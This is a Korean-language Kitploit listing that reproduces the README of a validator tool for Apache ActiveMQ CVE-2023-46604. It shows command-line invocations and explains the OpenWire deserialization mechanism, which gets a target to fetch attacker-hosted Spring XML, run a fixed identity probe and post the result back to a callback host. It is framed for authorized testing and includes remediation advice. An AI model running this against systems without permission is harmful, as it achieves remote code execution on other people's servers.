Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ActiveMQ-CVE-2023-46604 — Apache ActiveMQ CVE-2023-46604용 비파괴적 검증 도구입니다. 제작된 OpenWire 패킷을 전송하고, HTTP 콜백 서버를 사용하여 RCE 또는 XML 로딩을 확인하며, 승인된 침투 테스트를 위한 CSV/JSON 증거를 생성합니다. | Kitploit
도구/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Apache ActiveMQ CVE-2023-46604용 비파괴적 검증 도구입니다. 제작된 OpenWire 패킷을 전송하고, HTTP 콜백 서버를 사용하여 RCE 또는 XML 로딩을 확인하며, 승인된 침투 테스트를 위한 CSV/JSON 증거를 생성합니다.

저장소 보기
1422일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-46604 ActiveMQ 안전 검증기

Apache ActiveMQ CVE-2023-46604를 위한 단일 파일, 비파괴적 검증기입니다. 자체 HTTP 콜백 서버를 시작하고, 대상별 Spring XML을 메모리에서 생성하며, 제작된 OpenWire 패킷을 전송하고, 고유 토큰으로 콜백을 연관시킨 다음 CSV/JSON 증거를 기록합니다.

이 프로젝트는 공인된 침투 테스트 및 자산 검증을 위해 설계되었습니다. 리버스 셸, 무제한 명령 실행, CIDR 확장, 지속성 또는 페이로드 스테이징을 의도적으로 구현하지 않습니다.

검증기가 증명하는 것

두 가지 고정 증명 모드를 사용할 수 있습니다:

  • rce는 고정된 읽기 전용 ID 프로브를 실행하고 그 출력을 내장 HTTP 서버로 반환합니다. 콜백은 ActiveMQ 서비스 컨텍스트에서 운영체제 명령 실행을 확인합니다.
  • xml은 빈 Spring 컨텍스트를 제공합니다. 가져오기(fetch)는 제작된 OpenWire 메시지가 대상으로 하여금 ClassPathXmlApplicationContext를 인스턴스화하고 공격자가 제어하는 XML을 검색하도록 유발했음을 확인하며, 프로세스를 시작하지 않습니다.

XML 파일을 별도로 생성하거나 호스팅할 필요가 없습니다.

기능

  • Python 파일 하나; 표준 라이브러리만 사용
  • 내장 스레드형 HTTP 서버
  • 동적, 대상별 XML 및 콜백 토큰
  • 명시적 단일 대상 및 다중 대상 입력
  • 제한된 동시성 및 전송 재시도
  • 일반 OpenWire 및 TLS 래핑 OpenWire 지원
  • 고정 Linux 및 Windows ID 프로브
  • 기본 CSV 증거, 선택적 JSON
  • 잘못된 "취약하지 않음" 주장을 피하는 정확한 결과 상태
  • CI 친화적인 --fail-on-vuln 종료 코드

요구 사항

  • Python 3.9 이상
  • 테스트 호스트에서 대상 OpenWire 리스너로의 네트워크 접근
  • 대상에서 내장 HTTP 콜백 주소로의 역방향 네트워크 접근
  • 모든 대상에 대한 명시적 승인

기본 OpenWire 포트는 61616이지만, 비기본 포트도 지원됩니다.

빠른 시작

예제에서는 문서 전용 주소를 사용하십시오; 승인된 자산으로 교체하십시오.

단일 Linux 대상

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

스크립트는 TCP/8000에서 콜백 서버를 자동으로 시작하고, 생성된 XML을 제공하며, OpenWire 패킷을 전송하고, 증거를 기다린 다음 결과 테이블을 출력하고 다음을 기록합니다:

root@kitploit:~
activemq-cve-2023-46604-results.csv

여러 명시적 대상

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

대상 파일

targets.txt 생성:

root@kitploit:~
# 한 줄에 명시적으로 승인된 호스트 하나
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

실행:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

대상 파일에는 빈 줄과 #로 시작하는 주석이 포함될 수 있습니다. CIDR 확장은 의도적으로 지원되지 않습니다; 승인된 인벤토리를 명시적으로 열거하십시오.

자동 콜백 주소 감지

단순 라우팅 네트워크의 경우 --callback-host를 생략하십시오:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

도구는 첫 번째 대상으로 라우팅하는 데 사용되는 로컬 소스 주소를 선택합니다. NAT, VPN, 컨테이너, 점프 호스트 또는 다중 홈 시스템을 통해 테스트할 때는 --callback-host를 지정하십시오.

Windows 호스팅 ActiveMQ

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Windows 프로브는 고정된 비대화형 PowerShell 명령을 사용하여 서비스 ID, 컴퓨터 이름 및 OS 버전을 반환합니다. 대화형 셸을 제공하지 않습니다.

XML 로드 전용 검증

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

이 모드는 ProcessBuilder를 인스턴스화하지 않습니다.

TLS 래핑 OpenWire

ssl:// 대상을 사용하십시오:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

신뢰할 수 없는 인증서가 있는 내부 리스너의 경우:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify는 OpenWire TLS 연결에만 영향을 줍니다. 콜백 서버는 HTTP입니다.

결과 상태

상태의미
CONFIRMED_VULNERABLE_RCE대상이 XML을 가져왔고 고정 ID 명령이 증거를 반환했습니다.
CONFIRMED_VULNERABLE_XML_LOADxml 모드에서 대상이 고유 XML 문서를 가져왔습니다.
VULNERABLE_XML_LOAD_ONLYrce 모드에서 XML 검색이 발생했지만 명령 콜백은 발생하지 않았습니다. 취약한 클래스 인스턴스화 경로가 확인되었습니다; 콜백 도구, 이그레스 또는 프로세스 실행이 제한될 수 있습니다.
NOT_CONFIRMED패킷이 전송되었지만 마감 전에 연관된 HTTP 증거가 도착하지 않았습니다. 이는 호스트가 패치되었음을 증명하지 않습니다.
UNREACHABLETCP/TLS 연결 또는 패킷 전송이 실패했습니다.

패치된 브로커, 잘못된 포트, 이그레스 필터링, 라우팅 문제, TLS 불일치 및 엔드포인트 제어는 모두 콜백 기반 검증에 영향을 줄 수 있습니다. 보고 증거로 CSV/JSON 타임스탬프와 콜백 출력을 보존하십시오.

고정 ID 증거

Linux ID 프로브는 다음과 유사한 출력을 반환합니다:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

HTTP POST에 curl, wget 및 BusyBox wget을 시도합니다. XML이 가져와졌지만 해당 클라이언트가 없는 경우 결과는 오탐(false negative)이 아닌 VULNERABLE_XML_LOAD_ONLY입니다.

종료 코드

  • 0: 검증이 완료되었거나 --fail-on-vuln 없이 취약점이 발견됨
  • 2: 취약한 결과가 하나 이상 발견되었고 --fail-on-vuln이 제공됨
  • argparse 오류는 일반적인 0이 아닌 명령줄 오류 코드를 사용합니다

CI 사용 예:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

작동 방식

CVE-2023-46604는 Java OpenWire 역마샬링에 영향을 줍니다. 검증기는 예외 클래스가 다음과 같은 느슨한 마샬링 OpenWire ExceptionResponse를 전송합니다:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

예외 메시지는 생성된 Spring XML의 고유 URL입니다. 취약한 ActiveMQ 코드는 해당 URL로 공격자가 선택한 클래스를 인스턴스화합니다. rce 모드에서 Spring 컨텍스트는 고정 ProcessBuilder 프로브를 시작합니다; xml 모드에서 컨텍스트는 비어 있습니다.

모든 대상은 다른 토큰을 받습니다, 예:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

이를 통해 동시 콜백을 올바른 대상에 귀속시킬 수 있습니다.

명령 참조

root@kitploit:~
--authorized                 필수 승인 확인
-t, --target VALUE           명시적 대상; 반복 가능
-T, --targets-file FILE      한 줄에 명시적 대상 하나; 반복 가능
--default-port PORT          기본값 61616
--tls                        모든 대상에 TLS 사용
--tls-no-verify              OpenWire TLS 인증서 검증 비활성화
--callback-host HOST         대상이 HTTP 콜백에 사용하는 주소
--bind-host HOST             로컬 HTTP 바인드 주소; 기본값 0.0.0.0
--http-port PORT             로컬 HTTP 포트; 기본값 8000; 0은 사용 가능한 포트 선택
--proof rce|xml              고정 증명 모드; 기본값 rce
--platform linux|windows     RCE 모드의 대상 OS; 기본값 linux
--workers N                  병렬 작업자; 최대 32
--connect-timeout SECONDS    TCP/TLS 타임아웃
--wait SECONDS               콜백 수집 창
--retries N                  패킷 전송 시도 1~3회
--retry-delay SECONDS        시도 사이 지연
-o, --output FILE            CSV 증거 대상
--json-output FILE           선택적 JSON 대상
--verbose                    HTTP 요청 로그 표시
--fail-on-vuln               취약한 결과 발견 시 종료 코드 2

테스트

root@kitploit:~
python3 -m unittest discover -s tests -v

테스트는 대상 파싱, CIDR 거부, XML 형식 적합성 및 OpenWire 프레임 구조를 대상에 접촉하지 않고 검증합니다.

수정

ActiveMQ를 수정되고 현재 지원되는 릴리스로 업그레이드하십시오. Apache 권고는 당시 현재 브랜치의 수정 릴리스로 ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, 6.0.0 및 Artemis 2.31.2를 식별했습니다. 또한 OpenWire 리스너를 신뢰할 수 있는 클라이언트로 제한하고 예기치 않은 외부 XML 검색을 모니터링하십시오.

안전 및 범위

이 저장소는 방어적 검증 및 승인된 보안 평가를 위한 것입니다. 의도적으로 다음을 생략합니다:

  • 리버스 셸 페이로드
  • 임의 --command 실행
  • 실행 파일 또는 스크립트 스테이징
  • 지속성
  • 인증 공격
  • CIDR/범위 확장

고정 ID 프로브는 대화형 접근을 설정하지 않고 원격 명령 실행과 서비스 계정 영향을 입증하기에 충분합니다.

참조

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Apache ActiveMQ 보안 권고: https://activemq.apache.org/components/classic/security
  • Apache ActiveMQ 소스: https://github.com/apache/activemq
  • Vulhub 랩: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

라이선스

MIT. LICENSE를 참조하십시오.

도구 다운로드